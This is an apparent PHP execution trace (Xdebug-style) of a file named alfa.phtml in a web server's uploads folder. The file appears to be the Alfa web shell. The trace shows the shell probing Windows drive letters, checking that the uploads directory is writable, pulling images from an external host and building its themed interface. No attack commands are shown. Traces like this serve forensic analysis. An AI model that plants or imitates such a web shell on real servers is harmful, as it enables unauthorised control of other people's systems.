4	95	R			FALSE
4	96	0	0.016286	2775928	is_dir	0		/var/www/html/uploads/alfa.phtml	1050	1	'c:\\'
4	96	1	0.016301	2775968
4	96	R			FALSE
4	97	0	0.016315	2775928	is_dir	0		/var/www/html/uploads/alfa.phtml	1050	1	'd:\\'
4	97	1	0.016329	2775968
4	97	R			FALSE
4	98	0	0.016346	2775928	is_dir	0		/var/www/html/uploads/alfa.phtml	1050	1	'e:\\'
4	98	1	0.016364	2775968
4	98	R			FALSE
4	99	0	0.016378	2775928	is_dir	0		/var/www/html/uploads/alfa.phtml	1050	1	'f:\\'
4	99	1	0.016393	2775968
4	99	R			FALSE
4	100	0	0.016405	2775928	is_dir	0		/var/www/html/uploads/alfa.phtml	1050	1	'g:\\'
4	100	1	0.016419	2775968
4	100	R			FALSE
4	101	0	0.016432	2775928	is_dir	0		/var/www/html/uploads/alfa.phtml	1050	1	'h:\\'
4	101	1	0.016446	2775968
4	101	R			FALSE
4	102	0	0.016459	2775928	is_dir	0		/var/www/html/uploads/alfa.phtml	1050	1	'i:\\'
4	102	1	0.016472	2775968
4	102	R			FALSE
4	103	0	0.016485	2775928	is_dir	0		/var/www/html/uploads/alfa.phtml	1050	1	'j:\\'
4	103	1	0.016499	2775968
4	103	R			FALSE
4	104	0	0.016512	2775928	is_dir	0		/var/www/html/uploads/alfa.phtml	1050	1	'k:\\'
4	104	1	0.016525	2775968
4	104	R			FALSE
4	105	0	0.016538	2775928	is_dir	0		/var/www/html/uploads/alfa.phtml	1050	1	'l:\\'
4	105	1	0.016551	2775968
4	105	R			FALSE
4	106	0	0.016564	2775928	is_dir	0		/var/www/html/uploads/alfa.phtml	1050	1	'm:\\'
4	106	1	0.016577	2775968
4	106	R			FALSE
4	107	0	0.016590	2775928	is_dir	0		/var/www/html/uploads/alfa.phtml	1050	1	'n:\\'
4	107	1	0.016603	2775968
4	107	R			FALSE
4	108	0	0.016615	2775928	is_dir	0		/var/www/html/uploads/alfa.phtml	1050	1	'o:\\'
4	108	1	0.016628	2775968
4	108	R			FALSE
4	109	0	0.016641	2775928	is_dir	0		/var/www/html/uploads/alfa.phtml	1050	1	'p:\\'
4	109	1	0.016654	2775968
4	109	R			FALSE
4	110	0	0.016666	2775928	is_dir	0		/var/www/html/uploads/alfa.phtml	1050	1	'q:\\'
4	110	1	0.016680	2775968
4	110	R			FALSE
4	111	0	0.016692	2775928	is_dir	0		/var/www/html/uploads/alfa.phtml	1050	1	'r:\\'
4	111	1	0.016707	2775968
4	111	R			FALSE
4	112	0	0.016720	2775928	is_dir	0		/var/www/html/uploads/alfa.phtml	1050	1	's:\\'
4	112	1	0.016734	2775968
4	112	R			FALSE
4	113	0	0.016747	2775928	is_dir	0		/var/www/html/uploads/alfa.phtml	1050	1	't:\\'
4	113	1	0.016762	2775968
4	113	R			FALSE
4	114	0	0.016775	2775928	is_dir	0		/var/www/html/uploads/alfa.phtml	1050	1	'u:\\'
4	114	1	0.016788	2775968
4	114	R			FALSE
4	115	0	0.016801	2775928	is_dir	0		/var/www/html/uploads/alfa.phtml	1050	1	'v:\\'
4	115	1	0.016814	2775968
4	115	R			FALSE
4	116	0	0.016827	2775928	is_dir	0		/var/www/html/uploads/alfa.phtml	1050	1	'w:\\'
4	116	1	0.016841	2775968
4	116	R			FALSE
4	117	0	0.016854	2775928	is_dir	0		/var/www/html/uploads/alfa.phtml	1050	1	'x:\\'
4	117	1	0.016868	2775968
4	117	R			FALSE
4	118	0	0.016880	2775928	is_dir	0		/var/www/html/uploads/alfa.phtml	1050	1	'y:\\'
4	118	1	0.016893	2775968
4	118	R			FALSE
4	119	0	0.016906	2775928	is_dir	0		/var/www/html/uploads/alfa.phtml	1050	1	'z:\\'
4	119	1	0.016924	2775968
4	119	R			FALSE
3		A						/var/www/html/uploads/alfa.phtml	1052	$csscode = '\t-moz-animation-name: spin;-moz-animation-iteration-count: infinite;-moz-animation-timing-function: linear;-moz-animation-duration: 1s;-webkit-animation-name: spin;-webkit-animation-iteration-count: infinite;-webkit-animation-timing-function: linear;-webkit-animation-duration: 1s;-ms-animation-name: spin;-ms-animation-iteration-count: infinite;-ms-animation-timing-function: linear;-ms-animation-duration: 1s;animation-name: spin;animation-iteration-count: infinite;animation-timing-function: linear;animation'
4	120	0	0.016959	2774560	__showicon	1		/var/www/html/uploads/alfa.phtml	1058	1	'alfamini'
4		A						/var/www/html/uploads/alfa.phtml	1237	$s['btn'] = 'http://solevisible.com/images/btn.png'
4		A						/var/www/html/uploads/alfa.phtml	1238	$s['alfamini'] = 'http://solevisible.com/images/alfamini.png'
4		A						/var/www/html/uploads/alfa.phtml	1239	$s['loader'] = 'http://solevisible.com/images/loader.svg'
4	120	1	0.017011	2774560
4	120	R			'http://solevisible.com/images/alfamini.png'
4	121	0	0.017327	2789520	alfa_getColor	1		/var/www/html/uploads/alfa.phtml	1069	1	'header_values'
4		A						/var/www/html/uploads/alfa.phtml	618	$target = '#67ABDF'
4	121	1	0.017358	2789520
4	121	R			'#67ABDF'
4	122	0	0.017373	2791056	__showicon	1		/var/www/html/uploads/alfa.phtml	1069	1	'alfamini'
4		A						/var/www/html/uploads/alfa.phtml	1237	$s['btn'] = 'http://solevisible.com/images/btn.png'
4		A						/var/www/html/uploads/alfa.phtml	1238	$s['alfamini'] = 'http://solevisible.com/images/alfamini.png'
4		A						/var/www/html/uploads/alfa.phtml	1239	$s['loader'] = 'http://solevisible.com/images/loader.svg'
4	122	1	0.017425	2791056
4	122	R			'http://solevisible.com/images/alfamini.png'
4	123	0	0.017443	2795152	__showicon	1		/var/www/html/uploads/alfa.phtml	1069	1	'alfamini'
4		A						/var/www/html/uploads/alfa.phtml	1237	$s['btn'] = 'http://solevisible.com/images/btn.png'
4		A						/var/www/html/uploads/alfa.phtml	1238	$s['alfamini'] = 'http://solevisible.com/images/alfamini.png'
4		A						/var/www/html/uploads/alfa.phtml	1239	$s['loader'] = 'http://solevisible.com/images/loader.svg'
4	123	1	0.017491	2795152
4	123	R			'http://solevisible.com/images/alfamini.png'
4	124	0	0.017508	2795152	__showicon	1		/var/www/html/uploads/alfa.phtml	1069	1	'btn'
4		A						/var/www/html/uploads/alfa.phtml	1237	$s['btn'] = 'http://solevisible.com/images/btn.png'
4		A						/var/www/html/uploads/alfa.phtml	1238	$s['alfamini'] = 'http://solevisible.com/images/alfamini.png'
4		A						/var/www/html/uploads/alfa.phtml	1239	$s['loader'] = 'http://solevisible.com/images/loader.svg'
4	124	1	0.017554	2795152
4	124	R			'http://solevisible.com/images/btn.png'
4	125	0	0.017570	2795152	is_writable	0		/var/www/html/uploads/alfa.phtml	1070	1	'/var/www/html/uploads/'
4	125	1	0.017588	2795192
4	125	R			TRUE
4	126	0	0.017607	2799248	alfaCssLoadColors	1		/var/www/html/uploads/alfa.phtml	1070	0
4		A						/var/www/html/uploads/alfa.phtml	627	$css = ''
4		A						/var/www/html/uploads/alfa.phtml	628	$key = 'shell_border'
4		A						/var/www/html/uploads/alfa.phtml	634	$k = '.header'
5	127	0	0.017656	2799248	alfa_getColor	1		/var/www/html/uploads/alfa.phtml	635	1	'shell_border'
5		A						/var/www/html/uploads/alfa.phtml	618	$target = ['key_color' => '#0E304A', 'multi_selector' => ['.header' => 'border: 7px solid {color}', '#meunlist' => 'border-color: {color}', '#hidden_sh' => 'background-color: {color}', '.ajaxarea' => 'border: 1px solid {color}', '.foot' => 'border-color: {color}']]
5	127	1	0.017693	2799248
5	127	R			'#0E304A'
4		A						/var/www/html/uploads/alfa.phtml	635	$color = '#0E304A'
5	128	0	0.017718	2799248	str_replace	0		/var/www/html/uploads/alfa.phtml	636	3	'{color}'	'#0E304A'	'border: 7px solid {color}'
5	128	1	0.017735	2799400
5	128	R			'border: 7px solid #0E304A'
4		A						/var/www/html/uploads/alfa.phtml	636	$code = 'border: 7px solid #0E304A'
4		A						/var/www/html/uploads/alfa.phtml	637	$css .= '.header{border: 7px solid #0E304A}'
4		A						/var/www/html/uploads/alfa.phtml	634	$k = '#meunlist'
5	129	0	0.017785	2799368	alfa_getColor	1		/var/www/html/uploads/alfa.phtml	635	1	'shell_border'
5		A						/var/www/html/uploads/alfa.phtml	618	$target = ['key_color' => '#0E304A', 'multi_selector' => ['.header' => 'border: 7px solid {color}', '#meunlist' => 'border-color: {color}', '#hidden_sh' => 'background-color: {color}', '.ajaxarea' => 'border: 1px solid {color}', '.foot' => 'border-color: {color}']]
5	129	1	0.017846	2799368
5	129	R			'#0E304A'
4		A						/var/www/html/uploads/alfa.phtml	635	$color = '#0E304A'
5	130	0	0.017873	2799368	str_replace	0		/var/www/html/uploads/alfa.phtml	636	3	'{color}'	'#0E304A'	'border-color: {color}'
5	130	1	0.017893	2799512
5	130	R			'border-color: #0E304A'
4		A						/var/www/html/uploads/alfa.phtml	636	$code = 'border-color: #0E304A'
4		A						/var/www/html/uploads/alfa.phtml	637	$css .= '#meunlist{border-color: #0E304A}'
4		A						/var/www/html/uploads/alfa.phtml	634	$k = '#hidden_sh'
5	131	0	0.017941	2799392	alfa_getColor	1		/var/www/html/uploads/alfa.phtml	635	1	'shell_border'
5		A						/var/www/html/uploads/alfa.phtml	618	$target = ['key_color' => '#0E304A', 'multi_selector' => ['.header' => 'border: 7px solid {color}', '#meunlist' => 'border-color: {color}', '#hidden_sh' => 'background-color: {color}', '.ajaxarea' => 'border: 1px solid {color}', '.foot' => 'border-color: {color}']]
5	131	1	0.017977	2799392
5	131	R			'#0E304A'
4		A						/var/www/html/uploads/alfa.phtml	635	$color = '#0E304A'
5	132	0	0.018001	2799392	str_replace	0		/var/www/html/uploads/alfa.phtml	636	3	'{color}'	'#0E304A'	'background-color: {color}'
5	132	1	0.018017	2799544
5	132	R			'background-color: #0E304A'
4		A						/var/www/html/uploads/alfa.phtml	636	$code = 'background-color: #0E304A'
4		A						/var/www/html/uploads/alfa.phtml	637	$css .= '#hidden_sh{background-color: #0E304A}'
4		A						/var/www/html/uploads/alfa.phtml	634	$k = '.ajaxarea'
5	133	0	0.018067	2799432	alfa_getColor	1		/var/www/html/uploads/alfa.phtml	635	1	'shell_border'
5		A						/var/www/html/uploads/alfa.phtml	618	$target = ['key_color' => '#0E304A', 'multi_selector' => ['.header' => 'border: 7px solid {color}', '#meunlist' => 'border-color: {color}', '#hidden_sh' => 'background-color: {color}', '.ajaxarea' => 'border: 1px solid {color}', '.foot' => 'border-color: {color}']]
5	133	1	0.018102	2799432
5	133	R			'#0E304A'
4		A						/var/www/html/uploads/alfa.phtml	635	$color = '#0E304A'
5	134	0	0.018126	2799432	str_replace	0		/var/www/html/uploads/alfa.phtml	636	3	'{color}'	'#0E304A'	'border: 1px solid {color}'
5	134	1	0.018142	2799584
5	134	R			'border: 1px solid #0E304A'
4		A						/var/www/html/uploads/alfa.phtml	636	$code = 'border: 1px solid #0E304A'
4		A						/var/www/html/uploads/alfa.phtml	637	$css .= '.ajaxarea{border: 1px solid #0E304A}'
4		A						/var/www/html/uploads/alfa.phtml	634	$k = '.foot'
5	135	0	0.018190	2799496	alfa_getColor	1		/var/www/html/uploads/alfa.phtml	635	1	'shell_border'
5		A						/var/www/html/uploads/alfa.phtml	618	$target = ['key_color' => '#0E304A', 'multi_selector' => ['.header' => 'border: 7px solid {color}', '#meunlist' => 'border-color: {color}', '#hidden_sh' => 'background-color: {color}', '.ajaxarea' => 'border: 1px solid {color}', '.foot' => 'border-color: {color}']]
5	135	1	0.018224	2799496
5	135	R			'#0E304A'
4		A						/var/www/html/uploads/alfa.phtml	635	$color = '#0E304A'
5	136	0	0.018248	2799496	str_replace	0		/var/www/html/uploads/alfa.phtml	636	3	'{color}'	'#0E304A'	'border-color: {color}'
5	136	1	0.018263	2799640
5	136	R			'border-color: #0E304A'
4		A						/var/www/html/uploads/alfa.phtml	636	$code = 'border-color: #0E304A'
4		A						/var/www/html/uploads/alfa.phtml	637	$css .= '.foot{border-color: #0E304A}'
4		A						/var/www/html/uploads/alfa.phtml	628	$key = 'header_vars'
5	137	0	0.018312	2799488	alfa_getColor	1		/var/www/html/uploads/alfa.phtml	630	1	'header_vars'
5		A						/var/www/html/uploads/alfa.phtml	618	$target = '#27979B'
5	137	1	0.018337	2799488
5	137	R			'#27979B'
4		A						/var/www/html/uploads/alfa.phtml	630	$value = '#27979B'
4		A						/var/www/html/uploads/alfa.phtml	631	$css .= '.header_vars{color: #27979B;}'
4		A						/var/www/html/uploads/alfa.phtml	628	$key = 'header_values'
5	138	0	0.018385	2799520	alfa_getColor	1		/var/www/html/uploads/alfa.phtml	630	1	'header_values'
5		A						/var/www/html/uploads/alfa.phtml	618	$target = '#67ABDF'
5	138	1	0.018409	2799520
5	138	R			'#67ABDF'
4		A						/var/www/html/uploads/alfa.phtml	630	$value = '#67ABDF'
4		A						/var/www/html/uploads/alfa.phtml	631	$css .= '.header_values{color: #67ABDF;}'
4		A						/var/www/html/uploads/alfa.phtml	628	$key = 'header_on'
5	139	0	0.018455	2799552	alfa_getColor	1		/var/www/html/uploads/alfa.phtml	630	1	'header_on'
5		A						/var/www/html/uploads/alfa.phtml	618	$target = '#00FF00'
5	139	1	0.018478	2799552
5	139	R			'#00FF00'
4		A						/var/www/html/uploads/alfa.phtml	630	$value = '#00FF00'
4		A						/var/www/html/uploads/alfa.phtml	631	$css .= '.header_on{color: #00FF00;}'
4		A						/var/www/html/uploads/alfa.phtml	628	$key = 'header_off'
5	140	0	0.018527	2799616	alfa_getColor	1		/var/www/html/uploads/alfa.phtml	630	1	'header_off'
5		A						/var/www/html/uploads/alfa.phtml	618	$target = '#ff0000'
5	140	1	0.018551	2799616
5	140	R			'#ff0000'
4		A						/var/www/html/uploads/alfa.phtml	630	$value = '#ff0000'
4		A						/var/www/html/uploads/alfa.phtml	631	$css .= '.header_off{color: #ff0000;}'
4		A						/var/www/html/uploads/alfa.phtml	628	$key = 'header_none'
5	141	0	0.018597	2799616	alfa_getColor	1		/var/www/html/uploads/alfa.phtml	630	1	'header_none'
5		A						/var/www/html/uploads/alfa.phtml	618	$target = '#00FF00'
5	141	1	0.018621	2799616
5	141	R			'#00FF00'
4		A						/var/www/html/uploads/alfa.phtml	630	$value = '#00FF00'
4		A						/var/www/html/uploads/alfa.phtml	631	$css .= '.header_none{color: #00FF00;}'
4		A						/var/www/html/uploads/alfa.phtml	628	$key = 'home_shell'
5	142	0	0.018665	2799680	alfa_getColor	1		/var/www/html/uploads/alfa.phtml	630	1	'home_shell'
5		A						/var/www/html/uploads/alfa.phtml	618	$target = '#ff0000'
5	142	1	0.018689	2799680
5	142	R			'#ff0000'
4		A						/var/www/html/uploads/alfa.phtml	630	$value = '#ff0000'
4		A						/var/www/html/uploads/alfa.phtml	631	$css .= '.home_shell{color: #ff0000;}'
4		A						/var/www/html/uploads/alfa.phtml	628	$key = 'home_shell:hover'
4		A						/var/www/html/uploads/alfa.phtml	634	$k = '.home_shell:hover'
5	143	0	0.018745	2799680	alfa_getColor	1		/var/www/html/uploads/alfa.phtml	635	1	'home_shell:hover'
5		A						/var/www/html/uploads/alfa.phtml	618	$target = ['key_color' => '#FFFFFF', 'multi_selector' => ['.home_shell:hover' => 'color: {color};']]
5	143	1	0.018774	2799680
5	143	R			'#FFFFFF'
4		A						/var/www/html/uploads/alfa.phtml	635	$color = '#FFFFFF'
5	144	0	0.018798	2799680	str_replace	0		/var/www/html/uploads/alfa.phtml	636	3	'{color}'	'#FFFFFF'	'color: {color};'
5	144	1	0.018812	2799816
5	144	R			'color: #FFFFFF;'
4		A						/var/www/html/uploads/alfa.phtml	636	$code = 'color: #FFFFFF;'
4		A						/var/www/html/uploads/alfa.phtml	637	$css .= '.home_shell:hover{color: #FFFFFF;}'
4		A						/var/www/html/uploads/alfa.phtml	628	$key = 'back_shell'
5	145	0	0.018859	2799736	alfa_getColor	1		/var/www/html/uploads/alfa.phtml	630	1	'back_shell'
5		A						/var/www/html/uploads/alfa.phtml	618	$target = '#efbe73'
5	145	1	0.018883	2799736
5	145	R			'#efbe73'
4		A						/var/www/html/uploads/alfa.phtml	630	$value = '#efbe73'
4		A						/var/www/html/uploads/alfa.phtml	631	$css .= '.back_shell{color: #efbe73;}'
4		A						/var/www/html/uploads/alfa.phtml	628	$key = 'back_shell:hover'
4		A						/var/www/html/uploads/alfa.phtml	634	$k = '.back_shell:hover'
5	146	0	0.018939	2799736	alfa_getColor	1		/var/www/html/uploads/alfa.phtml	635	1	'back_shell:hover'
5		A						/var/www/html/uploads/alfa.phtml	618	$target = ['key_color' => '#FFFFFF', 'multi_selector' => ['.back_shell:hover' => 'color: {color};']]
5	146	1	0.018969	2799736
5	146	R			'#FFFFFF'
4		A						/var/www/html/uploads/alfa.phtml	635	$color = '#FFFFFF'
5	147	0	0.018993	2799736	str_replace	0		/var/www/html/uploads/alfa.phtml	636	3	'{color}'	'#FFFFFF'	'color: {color};'
5	147	1	0.019008	2799872
5	147	R			'color: #FFFFFF;'
4		A						/var/www/html/uploads/alfa.phtml	636	$code = 'color: #FFFFFF;'
4		A						/var/www/html/uploads/alfa.phtml	637	$css .= '.back_shell:hover{color: #FFFFFF;}'
4		A						/var/www/html/uploads/alfa.phtml	628	$key = 'header_pwd'
5	148	0	0.019054	2799800	alfa_getColor	1		/var/www/html/uploads/alfa.phtml	630	1	'header_pwd'
5		A						/var/www/html/uploads/alfa.phtml	618	$target = '#00FF00'
5	148	1	0.019078	2799800
5	148	R			'#00FF00'
4		A						/var/www/html/uploads/alfa.phtml	630	$value = '#00FF00'
4		A						/var/www/html/uploads/alfa.phtml	631	$css .= '.header_pwd{color: #00FF00;}'
4		A						/var/www/html/uploads/alfa.phtml	628	$key = 'header_pwd:hover'
4		A						/var/www/html/uploads/alfa.phtml	634	$k = '.header_pwd:hover'
5	149	0	0.019133	2799800	alfa_getColor	1		/var/www/html/uploads/alfa.phtml	635	1	'header_pwd:hover'
5		A						/var/www/html/uploads/alfa.phtml	618	$target = ['key_color' => '#FFFFFF', 'multi_selector' => ['.header_pwd:hover' => 'color: {color};']]
5	149	1	0.019170	2799800
5	149	R			'#FFFFFF'
4		A						/var/www/html/uploads/alfa.phtml	635	$color = '#FFFFFF'
5	150	0	0.019194	2799800	str_replace	0		/var/www/html/uploads/alfa.phtml	636	3	'{color}'	'#FFFFFF'	'color: {color};'
5	150	1	0.019209	2799936
5	150	R			'color: #FFFFFF;'
4		A						/var/www/html/uploads/alfa.phtml	636	$code = 'color: #FFFFFF;'
4		A						/var/www/html/uploads/alfa.phtml	637	$css .= '.header_pwd:hover{color: #FFFFFF;}'
4		A						/var/www/html/uploads/alfa.phtml	628	$key = 'header_drive'
5	151	0	0.019255	2799928	alfa_getColor	1		/var/www/html/uploads/alfa.phtml	630	1	'header_drive'
5		A						/var/www/html/uploads/alfa.phtml	618	$target = '#00FF00'
5	151	1	0.019279	2799928
5	151	R			'#00FF00'
4		A						/var/www/html/uploads/alfa.phtml	630	$value = '#00FF00'
4		A						/var/www/html/uploads/alfa.phtml	631	$css .= '.header_drive{color: #00FF00;}'
4		A						/var/www/html/uploads/alfa.phtml	628	$key = 'header_drive:hover'
4		A						/var/www/html/uploads/alfa.phtml	634	$k = '.header_drive:hover'
5	152	0	0.019334	2799928	alfa_getColor	1		/var/www/html/uploads/alfa.phtml	635	1	'header_drive:hover'
5		A						/var/www/html/uploads/alfa.phtml	618	$target = ['key_color' => '#FFFFFF', 'multi_selector' => ['.header_drive:hover' => 'color: {color};']]
5	152	1	0.019363	2799928
5	152	R			'#FFFFFF'
4		A						/var/www/html/uploads/alfa.phtml	635	$color = '#FFFFFF'
5	153	0	0.019387	2799928	str_replace	0		/var/www/html/uploads/alfa.phtml	636	3	'{color}'	'#FFFFFF'	'color: {color};'
5	153	1	0.019402	2800064
5	153	R			'color: #FFFFFF;'
4		A						/var/www/html/uploads/alfa.phtml	636	$code = 'color: #FFFFFF;'
4		A						/var/www/html/uploads/alfa.phtml	637	$css .= '.header_drive:hover{color: #FFFFFF;}'
4		A						/var/www/html/uploads/alfa.phtml	628	$key = 'header_show_all'
5	154	0	0.019448	2799928	alfa_getColor	1		/var/www/html/uploads/alfa.phtml	630	1	'header_show_all'
5		A						/var/www/html/uploads/alfa.phtml	618	$target = '#00FF00'
5	154	1	0.019472	2799928
5	154	R			'#00FF00'
4		A						/var/www/html/uploads/alfa.phtml	630	$value = '#00FF00'
4		A						/var/www/html/uploads/alfa.phtml	631	$css .= '.header_show_all{color: #00FF00;}'
4		A						/var/www/html/uploads/alfa.phtml	628	$key = 'disable_functions'
5	155	0	0.019516	2799928	alfa_getColor	1		/var/www/html/uploads/alfa.phtml	630	1	'disable_functions'
5		A						/var/www/html/uploads/alfa.phtml	618	$target = '#ff0000'
5	155	1	0.019541	2799928
5	155	R			'#ff0000'
4		A						/var/www/html/uploads/alfa.phtml	630	$value = '#ff0000'
4		A						/var/www/html/uploads/alfa.phtml	631	$css .= '.disable_functions{color: #ff0000;}'
4		A						/var/www/html/uploads/alfa.phtml	628	$key = 'footer_text'
5	156	0	0.019586	2800056	alfa_getColor	1		/var/www/html/uploads/alfa.phtml	630	1	'footer_text'
5		A						/var/www/html/uploads/alfa.phtml	618	$target = '#27979B'
5	156	1	0.019609	2800056
5	156	R			'#27979B'
4		A						/var/www/html/uploads/alfa.phtml	630	$value = '#27979B'
4		A						/var/www/html/uploads/alfa.phtml	631	$css .= '.footer_text{color: #27979B;}'
4		A						/var/www/html/uploads/alfa.phtml	628	$key = 'menu_options'
5	157	0	0.019655	2800056	alfa_getColor	1		/var/www/html/uploads/alfa.phtml	630	1	'menu_options'
5		A						/var/www/html/uploads/alfa.phtml	618	$target = '#27979B'
5	157	1	0.019679	2800056
5	157	R			'#27979B'
4		A						/var/www/html/uploads/alfa.phtml	630	$value = '#27979B'
4		A						/var/www/html/uploads/alfa.phtml	631	$css .= '.menu_options{color: #27979B;}'
4		A						/var/www/html/uploads/alfa.phtml	628	$key = 'menu_options:hover'
4		A						/var/www/html/uploads/alfa.phtml	634	$k = '.menu_options:hover'
5	158	0	0.019735	2800056	alfa_getColor	1		/var/www/html/uploads/alfa.phtml	635	1	'menu_options:hover'
5		A						/var/www/html/uploads/alfa.phtml	618	$target = ['key_color' => '#646464', 'multi_selector' => ['.menu_options:hover' => 'background-color: {color};font-weight: unset;']]
5	158	1	0.019767	2800056
5	158	R			'#646464'
4		A						/var/www/html/uploads/alfa.phtml	635	$color = '#646464'
5	159	0	0.019791	2800056	str_replace	0		/var/www/html/uploads/alfa.phtml	636	3	'{color}'	'#646464'	'background-color: {color};font-weight: unset;'
5	159	1	0.019813	2800232
5	159	R			'background-color: #646464;font-weight: unset;'
4		A						/var/www/html/uploads/alfa.phtml	636	$code = 'background-color: #646464;font-weight: unset;'
4		A						/var/www/html/uploads/alfa.phtml	637	$css .= '.menu_options:hover{background-color: #646464;font-weight: unset;}'
4		A						/var/www/html/uploads/alfa.phtml	628	$key = 'options_list'
4		A						/var/www/html/uploads/alfa.phtml	634	$k = '.content_options_holder .header center a'
5	160	0	0.019879	2800224	alfa_getColor	1		/var/www/html/uploads/alfa.phtml	635	1	'options_list'
5		A						/var/www/html/uploads/alfa.phtml	618	$target = ['key_color' => '#00FF00', 'multi_selector' => ['.content_options_holder .header center a' => 'color: {color};']]
5	160	1	0.019911	2800224
5	160	R			'#00FF00'
4		A						/var/www/html/uploads/alfa.phtml	635	$color = '#00FF00'
5	161	0	0.019935	2800224	str_replace	0		/var/www/html/uploads/alfa.phtml	636	3	'{color}'	'#00FF00'	'color: {color};'
5	161	1	0.019950	2800360
5	161	R			'color: #00FF00;'
4		A						/var/www/html/uploads/alfa.phtml	636	$code = 'color: #00FF00;'
4		A						/var/www/html/uploads/alfa.phtml	637	$css .= '.content_options_holder .header center a{color: #00FF00;}'
4		A						/var/www/html/uploads/alfa.phtml	628	$key = 'options_list:hover'
4		A						/var/www/html/uploads/alfa.phtml	634	$k = '.content_options_holder .header center a:hover'
5	162	0	0.020010	2800184	alfa_getColor	1		/var/www/html/uploads/alfa.phtml	635	1	'options_list:hover'
5		A						/var/www/html/uploads/alfa.phtml	618	$target = ['key_color' => '#FFFFFF', 'multi_selector' => ['.content_options_holder .header center a:hover' => 'color: {color};']]
5	162	1	0.020041	2800184
5	162	R			'#FFFFFF'
4		A						/var/www/html/uploads/alfa.phtml	635	$color = '#FFFFFF'
5	163	0	0.020065	2800184	str_replace	0		/var/www/html/uploads/alfa.phtml	636	3	'{color}'	'#FFFFFF'	'color: {color};'
5	163	1	0.020080	2800320
5	163	R			'color: #FFFFFF;'
4		A						/var/www/html/uploads/alfa.phtml	636	$code = 'color: #FFFFFF;'
4		A						/var/www/html/uploads/alfa.phtml	637	$css .= '.content_options_holder .header center a:hover{color: #FFFFFF;}'
4		A						/var/www/html/uploads/alfa.phtml	628	$key = 'options_list_header'
4		A						/var/www/html/uploads/alfa.phtml	634	$k = '.txtfont_header'
5	164	0	0.020139	2800312	alfa_getColor	1		/var/www/html/uploads/alfa.phtml	635	1	'options_list_header'
5		A						/var/www/html/uploads/alfa.phtml	618	$target = ['key_color' => '#59cc33', 'multi_selector' => ['.txtfont_header' => 'color: {color};']]
5	164	1	0.020169	2800312
5	164	R			'#59cc33'
4		A						/var/www/html/uploads/alfa.phtml	635	$color = '#59cc33'
5	165	0	0.020193	2800312	str_replace	0		/var/www/html/uploads/alfa.phtml	636	3	'{color}'	'#59cc33'	'color: {color};'
5	165	1	0.020208	2800448
5	165	R			'color: #59cc33;'
4		A						/var/www/html/uploads/alfa.phtml	636	$code = 'color: #59cc33;'
4		A						/var/www/html/uploads/alfa.phtml	637	$css .= '.txtfont_header{color: #59cc33;}'
4		A						/var/www/html/uploads/alfa.phtml	628	$key = 'options_list_text'
4		A						/var/www/html/uploads/alfa.phtml	634	$k = '.txtfont,.tbltxt'
5	166	0	0.020267	2800312	alfa_getColor	1		/var/www/html/uploads/alfa.phtml	635	1	'options_list_text'
5		A						/var/www/html/uploads/alfa.phtml	618	$target = ['key_color' => '#FFFFFF', 'multi_selector' => ['.txtfont,.tbltxt' => 'color: {color};']]
5	166	1	0.020297	2800312
5	166	R			'#FFFFFF'
4		A						/var/www/html/uploads/alfa.phtml	635	$color = '#FFFFFF'
5	167	0	0.020321	2800312	str_replace	0		/var/www/html/uploads/alfa.phtml	636	3	'{color}'	'#FFFFFF'	'color: {color};'
5	167	1	0.020335	2800448
5	167	R			'color: #FFFFFF;'
4		A						/var/www/html/uploads/alfa.phtml	636	$code = 'color: #FFFFFF;'
4		A						/var/www/html/uploads/alfa.phtml	637	$css .= '.txtfont,.tbltxt{color: #FFFFFF;}'
4		A						/var/www/html/uploads/alfa.phtml	628	$key = 'Alfa+'
4		A						/var/www/html/uploads/alfa.phtml	634	$k = '.alfa_plus'
5	168	0	0.020393	2800312	alfa_getColor	1		/var/www/html/uploads/alfa.phtml	635	1	'Alfa+'
5		A						/var/www/html/uploads/alfa.phtml	618	$target = ['key_color' => '#06ff0f', 'multi_selector' => ['.alfa_plus' => 'color: {color};font-weight: unset;']]
5	168	1	0.020427	2800312
5	168	R			'#06ff0f'
4		A						/var/www/html/uploads/alfa.phtml	635	$color = '#06ff0f'
5	169	0	0.020452	2800312	str_replace	0		/var/www/html/uploads/alfa.phtml	636	3	'{color}'	'#06ff0f'	'color: {color};font-weight: unset;'
5	169	1	0.020468	2800472
5	169	R			'color: #06ff0f;font-weight: unset;'
4		A						/var/www/html/uploads/alfa.phtml	636	$code = 'color: #06ff0f;font-weight: unset;'
4		A						/var/www/html/uploads/alfa.phtml	637	$css .= '.alfa_plus{color: #06ff0f;font-weight: unset;}'
4		A						/var/www/html/uploads/alfa.phtml	628	$key = 'hidden_shell_text'
4		A						/var/www/html/uploads/alfa.phtml	634	$k = '#hidden_sh a'
5	170	0	0.020528	2800336	alfa_getColor	1		/var/www/html/uploads/alfa.phtml	635	1	'hidden_shell_text'
5		A						/var/www/html/uploads/alfa.phtml	618	$target = ['key_color' => '#00FF00', 'multi_selector' => ['#hidden_sh a' => 'color: {color};']]
5	170	1	0.020558	2800336
5	170	R			'#00FF00'
4		A						/var/www/html/uploads/alfa.phtml	635	$color = '#00FF00'
5	171	0	0.020581	2800336	str_replace	0		/var/www/html/uploads/alfa.phtml	636	3	'{color}'	'#00FF00'	'color: {color};'
5	171	1	0.020596	2800472
5	171	R			'color: #00FF00;'
4		A						/var/www/html/uploads/alfa.phtml	636	$code = 'color: #00FF00;'
4		A						/var/www/html/uploads/alfa.phtml	637	$css .= '#hidden_sh a{color: #00FF00;}'
4		A						/var/www/html/uploads/alfa.phtml	628	$key = 'hidden_shell_version'
5	172	0	0.020643	2800568	alfa_getColor	1		/var/www/html/uploads/alfa.phtml	630	1	'hidden_shell_version'
5		A						/var/www/html/uploads/alfa.phtml	618	$target = '#ff0000'
5	172	1	0.020668	2800568
5	172	R			'#ff0000'
4		A						/var/www/html/uploads/alfa.phtml	630	$value = '#ff0000'
4		A						/var/www/html/uploads/alfa.phtml	631	$css .= '.hidden_shell_version{color: #ff0000;}'
4		A						/var/www/html/uploads/alfa.phtml	628	$key = 'shell_name'
5	173	0	0.020714	2800568	alfa_getColor	1		/var/www/html/uploads/alfa.phtml	630	1	'shell_name'
5		A						/var/www/html/uploads/alfa.phtml	618	$target = '#FF0000'
5	173	1	0.020738	2800568
5	173	R			'#FF0000'
4		A						/var/www/html/uploads/alfa.phtml	630	$value = '#FF0000'
4		A						/var/www/html/uploads/alfa.phtml	631	$css .= '.shell_name{color: #FF0000;}'
4		A						/var/www/html/uploads/alfa.phtml	628	$key = 'main_row:hover'
4		A						/var/www/html/uploads/alfa.phtml	634	$k = '.main tr:hover'
